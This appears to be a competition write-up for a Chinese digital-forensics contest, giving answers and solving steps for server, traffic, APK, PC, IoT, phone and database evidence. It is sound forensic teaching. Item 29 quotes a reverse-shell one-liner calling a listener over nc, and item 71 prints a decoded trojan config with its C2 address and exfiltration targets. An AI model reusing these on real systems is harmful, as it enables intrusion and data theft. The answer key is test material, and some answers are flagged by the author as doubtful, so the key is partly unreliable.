容器密码:GQ7aXryvOC*M8qG*eXa19K9*g&jtHS*Gtrimps@Qx*aYt4oRwwK*HeN0A$#EPv*u
服务器取证
请根据服务器检材,回答以下问题:
1、node1节点的磁盘设备SHA256值前六位是?(字母全大写,答案格式:AAAAAA)
FC9A34
查看主机名,1对应master,192.168.50.80,2对应node1,192.168.50.81,3对应node2,192.168.50.82,4应该是数据库服务器
改一下虚拟机网段为50网段

接着一个一个的仿真虚拟机,全部选为NAT模式,1234虚拟机的ip为192.168.50.80、81、82、83,查看一下所有node都正常运行了

2、集群配置了多少个node节点?(答案格式:1)
2
见上题
3、嫌疑人于什么时间修改master节点的root密码?(使用双位数格式,答案格式:00:00:00)
09:35:59
使用passwd


4、Docker的安装日期是?(使用双位数格式,答案格式:01月01日)
04月08日
服务器123都是4月8日

5、Docker通过配置守护进程以使用全局代理,该代理地址的端口是?(答案格式:1)
4780
守护进程的代理配置在/etc/systemd/system/docker.service.d

查看一下

6、发卡网站使用的Mysql数据库对外访问端口是?(答案格式:1)
30627
发卡网站应该是dujiaoka

查看服务

7、发卡网站部署使用的镜像名称是?(答案格式:root/root)
webdevops/php-nginx
搜了一下,没找到网站源码,找到一个压缩包

解压后查看dockerfile

8、当前Telegram群管机器人使用的容器ID的前六位是?(答案格式:123abc)
8fadf5
tg群对应的数据库应该是captchabot


9、发卡网站使用的缓存数据库是?(答案格式:mysql)
redis
在源码里直接暴搜

10、集群中配置的发卡网站代码运行所在的物理目录是?(答案格式:/root/root)
/data/k8s_data/default/dujiaoka
查看持久卷状态

详细查看dujiaoka,发现位于/data/k8s_data/default/dujiaoka

11、Telegram群管机器人配置的API代理域名是?(答案格式:www.xxx.com)
kk.xilika.cc
captchaBot源码位于服务器4的/data/k8s_data/default/captchaBot

查看其配置文件

12、嫌疑人在Telegram上创建的群名称是?(答案格式:比武群)
西门庆交流群

13、统计嫌疑人在Telegram上创建的群中2025年6月之后成功入群的人数为?(答案格式:1)
2422
筛选captcha_success_time


14、据嫌疑人交代曾在发卡网上删除过一条订单数据,请找出该删除订单的订单号是?(答案格式:请按实际值填写)
4V8XNK8Q02MD5D2R
查看order订单表,deleted_at列中数据都是null


查看binlog文件


处理完后导出查看

15、发卡网站上2025年6月之后订单交易成功的总金额是?忽略被删除的数据(答案格式:1)
295202
已完成是status=4,时间限制是updated_at>=2025-06-01

select sum(actual_price) from orders where status = 4 and updated_at >= “2025-06-01 00:00:00”
16、发卡网站的后台访问路径是?(答案格式:/root)
/admin

17、计算出用户密码算法中Salt的值,并进行Base64编码,结果是?(答案格式:请按实际值填写)
lAID2ktDeRlGbcg=
搜索crypt定位到源代码中加密算法

protected function getSalt()
{
$a = 'sdahjklhl212jkljass';
$b = hash('sha256', $a, true);
$c = substr($b, 0, 16);
$d = base64_decode('xPfGJQaE1zE5d+8=');
$e = '';
for($i=0;$i<strlen($d);$i++) {
$e .= chr(ord($d[$i]) ^ ord($c[$i]));
}
return $e;
}
运行一下

18、发卡网站配置的邮件发送人地址是?(答案格式:abc@abc.com)
ituzz@qq.com
在发卡网站的缓存数据库中有记录

19、当前发卡网站首页仪表盘中显示的发卡网站版本为?(答案格式:1.1.1)
2.0.5
查看源码,网站名叫独角数卡,版本号是从dujiaoka.dujiaoka_version中读,没读出来就是默认的2.0.0

是2.0.5

20、当前发卡网站中绑定的订单推送Telegram用户id为(答案格式:请按实际值填写)
6213151597

流量包分析
请根据网络流量包检材,回答以下问题:
21、黑客攻击的目标路由器SSID为 (答案格式:请按实际值填写)( )
laozhaoWIFI
192.168.1.184是黑客,DESKTOP-R75AHC2.lan,192.168.1.1是路由器,ImmortalWrt.lan


过滤后搜索一下,在第62368个包中


22、黑客成功捕获了WIFI中WPA协议握手包,其中有效握手包组数为(完整握手为一组)(答案格式:1)
4
eapol过滤一下

23、黑客爆破得出的WiFi密码为(提示:密码由小写英文字母和数字组成)(答案格式:abcd1234)
password1110

24、黑客成功连接Wifi后,发现路由器操作系统为?(答案格式:请按实际值填写)
ImmortalWrt
见21题,从解析的名字就可以看出来
25、黑客对路由器后台进行爆破攻击,该路由器后台密码为(答案格式:请按实际值填写)
password
在第62368个包中有两次登录尝试

对应后面响应
第一次响应:登录失败


第二次响应:登录成功

AI非常快

26、黑客通过修改路由器设置,将被劫持的域名为(答案格式:www.xxx.com)
www.qq.com
登录成功后,修改路由器的DHCP配置,添加把 www.qq.com 解析到 192.168.1.244

AI分析还是挺牛的

27、黑客在路由器管理后台发现FTP服务配置,FTP登录密码为?(答案格式:请按实际值填写)
mast

28、黑客通过FTP上传了一个压缩包文件,该文件内容为(答案格式:请按实际值填写)
123456789
neta提取出了一个flag.zip,爆破得密码是4321


wireshark直接导出也行

29、黑客通过路由器执行shell脚本,反弹shell的监听端口为(答案格式:1)
4445
shell脚本需调用 /bin/sh 或 /bin/bash,过滤一下,在第268288个包中执行了
/bin/sh -c \"mkfifo /tmp/f 2>/dev/null; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.244 4445 > /tmp/f; rm /tmp/f 2>/dev/null\"


30、黑客通过反弹shell成功控制目标路由器后,总共执行了多少条命令(答案格式:1)
过滤
ip.addr == 192.168.1.244 and tcp.port == 4445
275954:ifconfig

277565:uname -a

280022:cd /root

280315:ls

完整的是


APK程序分析
请根据APK检材,回答以下问题:
31、apk 的版本名称为? (答案格式:1.1.1)
3.0.12

32、在该APP中,调用了哪个System的方法用于获取本地系统的时间戳?(答案格式:MainActivity)
currentTimeMillis
脱壳后查看源码

搜索time

m249a:获取本地时间,m295b:获取本地日期,m296c:获取NTP服务器时间,m297d:获取NTP服务器日期

33、apk运行后getVer()的返回值是多少?(答案格式:1.0.0)
4.56.23
搜索一下getVer()

直接调用net.net.MainActivity类下的getVer方法,查看输出值
Java.perform(function() {
var a = Java.use("net.net.MainActivity").getVer();
console.log("getVer() 被调用的返回值是"+ a); });

34、apk运行后需要通过一个http get请求才能打开第二个界面,给出该请求URL? (答案格式:http://www.xxx.com/test?a=1)
http://localhost:60723/K0pQvBZ38ykL26OzfshqYTHC2f7RUJYIgrmIF6GcORU=?hash=983f8a605d16530190c09b0884d7cef1&ver=4.56.23&ts=1727899789
同在net.net.MainActivity类下

if (!fullHttpRequest.headers().get(HttpHeaderNames.HOST).startsWith("localhost:")) {
sendResponse(channelHandlerContext, "error");
} else if (Uri.decode(fullHttpRequest.uri()).equals(String.format("/%s?hash=%s&ver=%s&ts=%s", MultiLayerEncryption.multiLayerEncrypt("check_apk_status"), MainActivity.apkHash, MainActivity.getVer(), MainActivity.f417ts))) {
分析核心加密逻辑可知
URL=http://localhost:端口号/[check_apk_status]?hash=[apkHash]&ver=[getVer()]&ts=[f417ts]
端口号是60723,getVer是4.56.23

注意在查看f417ts的值时,f417的原始名称是ts

Java.perform(function() {
var apkstatus = Java.use("net.net.crypto.MultiLayerEncryption").multiLayerEncrypt("check_apk_status");
console.log("apkstatus 被调用的返回值是"+ apkstatus);
var apkhash = Java.use("net.net.MainActivity").apkHash.value;
console.log("apkhash 被调用的返回值是"+ apkhash);
var ver = Java.use("net.net.MainActivity").getVer();
console.log("getVer() 被调用的返回值是"+ ver);
var ts = Java.use("net.net.MainActivity").ts.value;
console.log("f417ts 被调用的返回值是"+ ts)
console.log("生成的url是: http://localhost:60723/"+apkstatus+"?hash="+apkhash+"&ver="+ver+"&ts="+ts);
});

35、apk第二界面的8位授权码是什么? (答案格式:11111111)
84572399
8位授权码的hash值=-711638849,需要爆破

public class Decrypt{
public static void main(String[] args){
int a =-711638849;
for (int i=0;i<99999999;i++){
String b = String.format("%08d",i);
if (b.hashCode()==a){
System.out.println("8位数字是"+b);
} } } }

二进制程序分析
请在安全的环境下安装该程序,并回答以下问题:
36、安装该程序后,该恶意程序的可执行文件所在的直接父目录名称是什么为?(答案格式:root)
37、解密文件名为RnRGaWxlcy5lZGIiL的文件时所使用的key是什么?(答案格式:请按实际值填写)
38、解密文件RnRGaWxlcy5lZGIiL成功后,请分析并给出解密后的文件的入口点地址?(答案格式:0x180000000)
39、加密文件名为6c051a72b91a1的文件时所使用的密钥是多少?(答案格式:请按实际值填写)
40、6c051a72b91a1.1文件解密后的md5值后六位是多少?(字母全大写,答案格式:AAAAAA)
计算机取证分析
请根据计算机检材和内存检材,回答以下问题:
41、操作系统的Build版本号是?(答案格式:1)( )
19044.1381

42、操作系统设置的账户密码最长存留期为多少天?(答案格式:1)( )
68

43、用户2登陆密码NT哈希值后六位是?(字母全大写,答案格式:AAAAAA)
A9C708

44、蓝牙mac地址是多少?(答案格式:AA-AA-AA-AA-AA-AA)( )
9C-B6-D0-04-C9-CC

45、 SafeImager的产品序列号后四位是?(字母全大写,答案格式:AAAAAA)( )
09C4

46、123.VHD所处的结束扇区是?(答案格式:1 )
27445255
47、用户在BitLocker加密分区最后修改的文件是?(答案格式:abcd.txt)
资料1.txt
密钥在123.VHD中,用密钥解开D盘

文件全显

48、用户连接192.168.114.129时用的会话名称是?(答案格式:按照实际情况填写)
连接阿里云

49、用户创建存储虚拟币钱包地址页面的时间是?(使用双位数格式,答案格式:01月01日)
10月07日
电脑桌面上有anytype,一个笔记软件,重置密码仿真进去后需输入恢复短语,需要带上密码仿真


加密货币这个笔记是25年10月7日创建的

50、用户的虚拟币钱包地址是?(答案格式:按照实际情况填写)
3HrdpWM8ZrBVw9yu8jx1RoNNK6BZxwsHd9
笔记提示34 characters in total

51、用户VC加密容器的密码是?(答案格式:按照实际情况填写)
SHUZHENGBEIctzy2025
邮件里有三个软件的part,密码是258369

搜索一下

把所有的part导出,两个part5的hash是一样的,删一个,后解压其中一个即可,密码是258369,注意邮件里提取出来的part123和导出的part123hash不一样,应该邮件里是对的,都是2.8M

解压出来一个文档和一个工具,文档的末尾有字,改一下颜色即可,VC密码:SHUZHENGBEIctzy2025


52、用户在生活中使用的代号是?(答案格式:按照实际情况填写)
小胖
桌面上有一个代号的音频还有audacity,查看频谱图

53、李安东的银行卡归属哪个银行?(答案格式:农业银行)
交通银行
6位数字

爆破688561


54、请分析某市10月6日最高气温是?(答案格式:1)
21
zip伪加密



55、用户的BitLocker密码是?(答案格式:按照实际情况填写)
SZBJSJTM2025
邮箱里有一个重要的邮件


下载中有一个steganalysis工具

56、用户办公室的门禁密码是?(答案格式:按照实际情况填写)
147963258
51题获取到vc加密容器的密码SHUZHENGBEIctzy2025,在123.VHD中有一个secretnew,25M,应该是容器

加载一下

拿51题获得的工具解密出来一张办公室密码锁的图片

密码是147963258

57、用户使用的以D开头的解密程序的MD5值后六位是?(字母全大写,答案格式:AAAAAA)
3A892E

58、木马程序运行至系统断点前加载了几个动态链接库?(答案格式:1)
5
木马在桌面上,lupingV1.zip中,用x32dbg加载木马,日志中显示加载了5个动态链接库

59、木马产生的程序名称是什么?(答案格式:abcd.txt)( )
wins.exe
这一题遇到了无法理解的情况,lupingV1.zip的哈希值和屏幕截图_2023.02.25_15.46.33.536.png中显示的是一样的,但解压后的录屏截图_V1.exe和其他人的哈希是不一样的

我把两个哈希都上传微步云,发现这是两个不同的exe,一个会释放Wins.exe一个不会,那么这题就没法做了,不知道出了什么奇葩的bug


60、木马尝试访问的域名是什么?(答案格式:按照实际情况填写)( )
edu-image.nosdn.127.net
61、分析计算机内存检材,此内存镜像制作时的系统时间是?(使用双位数格式,答案格式:01月01日)
10月06日

62、分析计算机内存检材,用户Yiyelin的用户标识后4位是?(答案格式:1111)
1002

63、分析计算机内存检材,计算机的CPU型号是什么?(答案格式: i9-1110U)
i7-1165G

64、分析计算机内存检材,wps.exe的PID是?(答案格式:1)
5888

65、分析计算机内存检材,此计算机开机自启动的远控软件名称是?(答案格式:abcd.txt)
SunloginClient.exe

物联网设备取证分析
请根据网络流量包检材,回答以下问题:
66、打印机的主机名称是什么?(答案格式:root)( )
print

67、打印文件存储在哪个目录?(答案格式:/root/root)( )
/var/spool/cups/
见71题
68、同一天,打印两份文件的用户是谁?(答案格式:root)( )
alice
参考2025数证杯初赛 - XDforensics-Wiki,CUPS(Common Unix Printing System)是一个适用于类 Unix 操作系统的模块化打印系统,它允许计算机充当打印服务器。运行CUPS的计算机作为主机,可以接收来自客户端计算机的打印作业,处理这些作业,并将其发送到相应的打印机。配置文件为/etc/cups/*.conf,主配置文件为cups-files.conf,打印服务日志是/var/log/cups/page_log


69、分析物联网检材,木马运行后,自身产生的进程ID是多少?(答案格式:1)
2177
在系统日志中发现连接C2服务器的信息,来源于cups-helper,查看文件内容,确定就是木马,与后面题也对得上

70、分析物联网检材,系统中存在一个非标定时任务,这个任务每隔多少分钟执行?(答案格式:1)( )
60
查看/etc/cron,cups-helper每隔10分钟执行一次

71、分析物联网检材,木马程序会窃取文档暂存在隐藏目录,这个目录的绝对路径?(/root/root/)( )
/tmp/.cache/
定义暂存目录
Define staging directory for processing before exfiltration
STAGING_DIR = “GJTJlh2YhNmLGJTJw1GdGJTJ”

结合下面的编码,有点像倒序的base64,倒序后转base64再转url

以此类推
# C2 server for uploading diagnostic data用于上传诊断数据的C2服务器
C2_SERVER = "zUTMugDMx4SO5EjL1gTM"——185.199.108.153
C2_PORT = "zQDN"——443
# Spool directory to monitor监控目录
SPOOL_DIR = "GJTJzBXdjZkMlw2bvB3cGJTJyFmdGJTJ"——/var/spool/cups/
# Define staging directory for processing before exfiltration定义在数据外泄前进行处理的暂存目录
STAGING_DIR = "GJTJlh2YhNmLGJTJw1GdGJTJ"——/tmp/.cache/
# Log file for upload activities上传活动的日志文件
LOG_FILE = "==wZvxmLkF2bsBXdGJTJlJXYoNnRyUCbhN2bs5iRyUCdv9mcGJTJ"——/root/.local/share/upload.log
# Keyword to identify sensitive documents for "special handling"用于识别需特殊处理的敏感文件的关键词
WATCHED_KEYWORD = "=UmcpZmbvdWYyREMyUCdjVmavJHU"——Project Dragonfire
72、分析物联网检材,木马程序将数据上传到的服务器的IP地址是多少?(答案格式:1.1.1.1)( )
185.199.108.153
见71题
73、根据木马程序,它监视的关键字是什么?(答案格式:按照实际情况填写)
Project Dragonfire
见71题
移动终端取证分析
请根据手机检材,回答以下问题:
74、分析检材中微信ID:wxid_f4s0jmpvrc522对应的手机号后四位为(答案格式:1111)
8390

75、分析检材中“华为应用市场”第一次安装日期为(使用双位数格式,答案格式:01月01日)
09月24日

76、找出检材中钱包APP,请列出该APP中ETH地址后六位是(字母全大写,答案格式:AAAAAA)
3FE61F

77、分析出检材中包含“南昌西站”的图片,计算该图片的MD5后六位?(字母全大写,答案格式:AAAAAA)
85A51D


78、手机相册中有张“imtoken助记词1.PNG”图片被破坏,请修复该图片,列出该图片中第三个单词。(答案格式:按照实际情况填写)
boost
随波逐流直接出

79、找出一张PNG图片,该图片上显示“助记词2”,请列出该图片上显示的第二个单词。(答案格式:按照实际情况填写)
delay

80、找出检材中显示“助记词3”的文档,列出该文档中记录的第三个助记词单词。(答案格式:按照实际情况填写)
quarter
在文档末尾


81、分析出该组助记词正常顺序中最后一个单词(已知助记词1、助记词2、助记词3中的单词顺序有被调整)。(答案格式:按照实际情况填写)
clerk
助记词1:movie unlock boost segment
助记词2:foil delay paddle obtain
助记词3:student electric quarter clerk
这个工具好牛逼,感谢Release v1.0 · WXjzcccc/recoverMnemonic · GitHub

82、分析出邮箱中收件人QQ号为“850563586”的姓名(答案格式:按照实际情况填写)
刘佳雨

83、得知机主通过某个应用给HHshAL发送了一个文档,该应用的数据包名是什么?(答案格式:com.test)
dingtong.saichuang
接下题可知,机主发送的是一个加密文档,important来源于邮件,那就是另一个,叮通app

84、接上题,该应用聊天记录数据库的打开密码是什么?(答案格式:按照实际情况填写)
@1@#!aajsk1*JKJ
数据库是dingtong.db

搜一下

密码是
@1@#!aajsk1*JKJ

85、接上题,机主发送的这个加密文档,打开密码是什么?(答案格式:按照实际情况填写)
QWERT666
密码:–.-/.–/./.-./-/-…/-…/-…/


这个文档是

86、厉明的身份证地址登记的门牌号是多少??(答案格式:1)( )
722
com.android.mxt密信助手,路径下有身份证

数据库中有密码,身份证_f33.mxt是bwX2ZEfE9,important1.xlsx是3;s=]-

解压

87、分析出“important1.xlsx”文件中体现的“金达欣”银行卡后六位?(答案格式:111111)
935629

88、接上题,保存“important1.xlsx”打开密码数据的应用,该应用的启动密码是什么?(答案格式:按照实际情况填写)
1596
开启雷电模拟器,安装apk,然后把data/data下面的数据目录替换进去

数据分析
请根据数据分析检材,回答以下问题:
检材1
89、通过对检材“01-lott.sql”文件进行分析,统计庄家"188"在2021-05-10当日的电子投注总笔数(答案格式:1)
2299
筛选一下

90、通过对检材“01-lott.sql”文件进行分析,统计t_trade_betrecord中庄家"188"记录中彩票类型为"jnd28"且期号在t_lottery_jnd表中存在的记录数。(答案格式:1)
92842
先筛选再内联表


91、通过对检材“01-lott.sql”文件进行分析,统计庄家"188"的玩家在2021-05-10当日:电子投注内容出现频率最高的电子投注内容是什么?(答案格式:按照实际情况填写)
500单

92、通过对检材“01-lott.sql”文件进行分析,关联t_trade_betrecord与t_lottery_jnd表,分析庄家"188"在2021-05-10投注"jnd28"时:当开奖结果为"大"时,玩家投注包含"小"的笔数占比(使用双位数格式,答案格式:11.11%)
44.88%
先筛选,Keeper=188,CreatTime是2021-05-10,R_B_M=大,再看,包含“小”的有521,全部是1161,占比44.88%


检材2
93、通过对检材“02-crime_records.sql”分析,统计相邻两次作案时间间隔在1天之内的城市和该城市两次作案时间间隔在1天之内的案件总数量,找出案件总数最多的城市名。(答案格式:按照实际情况填写)
福州

94、通过对检材“02-crime_records.sql”分析,根据案件的损失金额和伤情等级,将案件分为 “轻微案件”“一般案件”“重大案件”“其他”四类(分类规则如下),并统计 2023 年各类型案件的数量。轻微案件:损失金额≤10000 元且无人员受伤(injury_level 为空或未提及);一般案件:损失金额 10001-50000 元,或有轻微伤;重大案件:损失金额 > 50000 元,或有轻伤或有重伤;其他:非上述情况。(按照案件数量的降序输出答案,答案格式为:40/30/20/10)
13107/4590/2058/222
SELECT
CASE
-- 损失≤1万 且 无伤情 → 轻微案件
WHEN `loss_amount` <= 10000 AND `injury_level` IS NULL THEN '轻微案件'
-- 损失1万~5万 或 轻微伤 → 一般案件
WHEN (`loss_amount` BETWEEN 10001 AND 50000) OR `injury_level` = '轻微伤' THEN '一般案件'
-- 损失>5万 或 轻伤/重伤 → 重大案件
WHEN `loss_amount` > 50000 OR `injury_level` = '轻伤' OR `injury_level` = '重伤' THEN '重大案件'
-- 其他情况
ELSE '其他案件'
END AS case_type, -- 给案件类型起别名
COUNT(case_id) AS case_count -- 给数量起别名
FROM `crime_records`
WHERE YEAR(`crime_time`) = 2023
-- 必须按案件类型分组
GROUP BY case_type;

95、通过对检材“02-crime_records.sql”分析,统计 2021-2023 年期间(含2021年和2023年),每年处理结果为 “移送起诉” 的案件里,每一年中损失总额最高的案件类型对应的损失总额为?(按 2021 - 2023 年顺序连接损失总额,连接符号使用/,小数点保留2位,答案格式为 :1.37/2.21/3.45)
325806042.91/344804883.98/352132431.37
SELECT `年份`, `crime_type`, `总损失金额`
FROM (
SELECT
YEAR(`crime_time`) AS `年份`,
`crime_type`,
SUM(`loss_amount`) AS `总损失金额`,
ROW_NUMBER() OVER (
PARTITION BY YEAR(`crime_time`)
ORDER BY SUM(`loss_amount`) DESC
) AS `rn`
FROM `crime_records`
WHERE YEAR(`crime_time`) IN (2021, 2022, 2023)
AND `handling_result` = '移送起诉'
GROUP BY YEAR(`crime_time`), `crime_type`
) t
WHERE t.`rn` = 1
ORDER BY `年份`;

检材3
96、通过对检材“03-案件卡串号数据”表分析,该表每条数据的“卡串号(IMSI)”字段值存在问题,不可信。真实可信的卡串号值在“溯源”字段中(溯源字段的值格式均为“{手机号=[待获取的卡串号->手机卡串号(IMSI)使用过的手机号->当前]}”),请统计分析出该表中哪个真实卡串号出现过的次数最多?(答案格式:按照实际情况填写)
460017709683511
题目的意思是需要从溯源那一列的数据中提取中IMSI,自定义拆分一下数据,然后筛选一下

97、通过对检材“04-涉诈案件信息表“分析,统计每个分局2024-2025年每月被骗总额环比大于30%的月份个数(环比定义:(这个月的数据-上个月的数据)/上个月数据。特殊情况,例如某分局2025年1月被骗金额总和为100,若该分局2024年12月没有被骗金额,则该分局2025年1月也符合题目要求,应增加一个月份。2024年1月不需要计算与上个月的环比情况),请写出环比大于30%的月份个数最多的分局ID名称为?(答案格式:按照实际情况填写)
A675
```python
import pandas as pd
from datetime import datetime
# 从dfs中提取所需的数据表
# dfs[0]: 名称:`Sheet1-04-涉诈案件信息表`, 描述:`涉诈案件信息`
data = dfs[0]
# 数据预处理:转换案件时间为datetime格式并提取年月
data['案件时间'] = pd.to_datetime(data['案件时间'])
data['年份'] = data['案件时间'].dt.year
data['月份'] = data['案件时间'].dt.month
# 只保留2024和2025年的数据
data = data[(data['年份'] == 2024) | (data['年份'] == 2025)]
# 按分局、年份、月份分组计算被骗总金额
monthly_total = data.groupby(['分局ID', '年份', '月份'])['被骗金额'].sum().reset_index()
# 为每个分局按月排序,方便计算环比
monthly_total = monthly_total.sort_values(['分局ID', '年份', '月份'])
# 计算环比增长率
results = []
for branch in monthly_total['分局ID'].unique():
branch_data = monthly_total[monthly_total['分局ID'] == branch].copy()
# 添加一列表示上个月的金额,用于计算环比
branch_data['上月金额'] = branch_data['被骗金额'].shift(1)
# 2024年1月不需要计算环比(因为是第一个月)
branch_data['环比'] = float('nan')
# 计算其他月份的环比
mask = ~((branch_data['年份'] == 2024) & (branch_data['月份'] == 1))
branch_data.loc[mask, '环比'] = (
(branch_data.loc[mask, '被骗金额'] - branch_data.loc[mask, '上月金额'])
/ branch_data.loc[mask, '上月金额']
)
# 特殊情况处理:如果上月金额为0且当月金额>0,也符合要求(环比=无穷大)
special_case = (branch_data['上月金额'] == 0) & (branch_data['被骗金额'] > 0)
branch_data.loc[special_case, '环比'] = float('inf')
# 统计环比>30%的月份个数
count = ((branch_data['环比'] > 0.3) | (branch_data['环比'] == float('inf'))).sum()
results.append({'分局ID': branch, '符合条件的月份数': count})
# 创建结果DataFrame
result_df = pd.DataFrame(results)
# 找出符合条件的月份数最多的分局ID
max_count = result_df['符合条件的月份数'].max()
top_branch = result_df[result_df['符合条件的月份数'] == max_count]['分局ID'].values[0]
# 返回结果
result = {
"type": "string",
"value": f"环比大于30%的月份个数最多的分局ID名称为{top_branch}"
}
98、通过对检材“05-人像卡口信息表”和“06-涉毒前科人员信息表”(两表均无重复数据,直接要求答题即可。感知时间字段格式均为yyyy-MM-dd HH:mm:ss;传感器ID(人像卡口点位)值不同则代表不同的摄像点位),为摸排疑似涉毒的窝点,请分析出在00:00:00~06:00:00(含0点跟6点)人像记录中,哪个传感器点位ID抓拍到最多的不同涉毒前科人员?(答案格式:按照实际情况填写)
350203103
内联表,筛选一下时间,再分组聚合

99、接上题,为摸排潜在的涉毒人员,请分析出有多少个非涉毒前科人员至少跟3个不同的涉毒前科人员同行过?(本题的“同行”指:两人在同一个人像卡口点位感知时间差在10(含)秒内)(答案格式:1)
4

100、近几年架设简易GOIP设备进行群呼诈骗的案件屡见不鲜。架设和维护该设备的人员通常会频繁更换酒店【即只住一天然后更换酒店】以此躲避公安的侦察打击。请根据”07-旅店住宿信息表“(该表无重复数据,直接要求答题即可。时间相关的字段格式均为yyyy-MM-dd HH:mm:ss),筛选出2024和2025年的住宿记录(以“入住时间”为准),频繁更换酒店的人员有几个?(答案格式:1)
8
筛选入住时间在2024、2025年的,至少住过两个酒店,一个酒店只住一天的人员信息,ai做出来的有一个不对

112932197212208014, 157444197409115890, 342674191112293875, 350225199408196011, 350825199802267815, 350825199907192589, 439819200304255554, 628529194608207132








1713

被折叠的 条评论
为什么被折叠?



